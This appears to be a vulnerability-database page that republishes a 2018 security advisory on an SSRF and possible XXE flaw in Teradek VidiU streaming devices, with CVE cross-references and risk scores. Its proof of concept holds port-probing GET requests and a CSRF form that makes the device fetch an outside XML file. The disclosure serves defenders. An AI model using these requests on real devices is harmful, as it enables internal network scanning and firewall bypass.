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Teradek VidiU Pro 3.0.3 SSRF Vulnerability
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | CVE-2019-25251 | 5 Jan 202616:34 | – | circl |
 | Teradek VidiU Pro 安全漏洞 | 24 Dec 202500:00 | – | cnnvd |
 | CVE-2019-25251 | 24 Dec 202519:28 | – | cve |
 | CVE-2019-25251 Teradek VidiU Pro 3.0.3 Server-Side Request Forgery via RTMP Settings | 24 Dec 202519:28 | – | cvelist |
 | EUVD-2025-205304 | 24 Dec 202521:30 | – | euvd |
 | CVE-2019-25251 | 24 Dec 202520:15 | – | nvd |
 | PT-2025-53337 | 24 Dec 202500:00 | – | ptsecurity |
 | CVE-2019-25251 Teradek VidiU Pro 3.0.3 Server-Side Request Forgery via RTMP Settings | 24 Dec 202519:28 | – | vulnrichment |
<html><body><p>Teradek VidiU Pro 3.0.3 SSRF Vulnerability
Vendor: Teradek, LLC
Product web page: https://www.teradek.com
Affected version: VidiU, VidiU Mini, VidiU Pro
3.0.3r32136
3.0.2r31225
2.4.10
Summary: The Teradek VidiU gives you the freedom to broadcast live
high definition video directly to the Web without a PC. Whether you're
streaming out of a video switcher or wirelessly from your camera,
VidiU allows you to go live when you want, where you want. VidiU
offers API level integration with the Ustream, YouTube Live and
Livestream platforms, which makes streaming to your channel as
easy as logging into your account.
Desc: A server-side request forgery (SSRF) vulnerability exists in
the VidiU management interface within the RTMP settings and the Wowza
server mode functionality. The application parses user supplied data
in the GET parameters 'url' and 'xml_url' to construct a page request
that loads the configuration for specific service. Since no validation
is carried out on the parameters, an attacker can specify an external
domain and force the application to make a HTTP request to an arbitrary
destination host, including xml data parsing (XXE potential). This can
be used by an external attacker for example to bypass firewalls and
initiate a service and network enumeration on the internal network
through the affected application.
Tested on: lighttpd/1.4.48
lighttpd/1.4.31
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2018-5461
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5461.php
02.03.2018
--
SSRF open port:
---------------
GET /cgi-bin/wowza.cgi?command=read_url&url=zeroscience.mk:443&_=1526243349301 HTTP/1.1
Host: 127.0.0.1:8090
HTTP/1.1 200 OK
Content-Type: application/json
Connection: close
Date: Sun, 13 May 2018 21:42:30 GMT
Server: lighttpd/1.4.31
Content-Length: 31
{"error":"invalid parameters"}
SSRF closed port:
-----------------
GET /cgi-bin/wowza.cgi?command=read_url&url=zeroscience.mk:7777&_=1526243349301 HTTP/1.1
Host: 127.0.0.1:8090
HTTP/1.1 200 OK
Content-Length: 0
Connection: close
Date: Sun, 13 May 2018 21:43:30 GMT
Server: lighttpd/1.4.31
===================================================
SSRF closed port:
-----------------
GET /cgi-bin/system.cgi?command=rtmp&action=rtmp_xml_from_url&xml_url=zeroscience.mk:7777&_=1526244218671 HTTP/1.1
Host: 127.0.0.1:8090
{"result":"error", "error":"Curl error"}
SSRF open port:
---------------
GET /cgi-bin/system.cgi?command=rtmp&action=rtmp_xml_from_url&xml_url=zeroscience.mk:443&_=1526244218671 HTTP/1.1
Host: 127.0.0.1:8090
{"result":"error", "error":"Bad request"}
===================================================
PoC CSRF Blind XXE SSRF OOB:
----------------------------
</p>
<form action="http://127.0.0.1:8090/cgi-bin/system.cgi">
<input name="command" type="hidden" value="rtmp"/>
<input name="action" type="hidden" value="rtmp_xml_from_url"/>
<input name="xml_url" type="hidden" value="http://site.tld/xxe.xml"/>
<input name="_" type="hidden" value="1526244218671"/>
<input type="submit" value="Submit request"/>
</form>
</body></html>Data
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21 May 2018 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.16.5
CVSS 46.9
EPSS0.00017
SSVC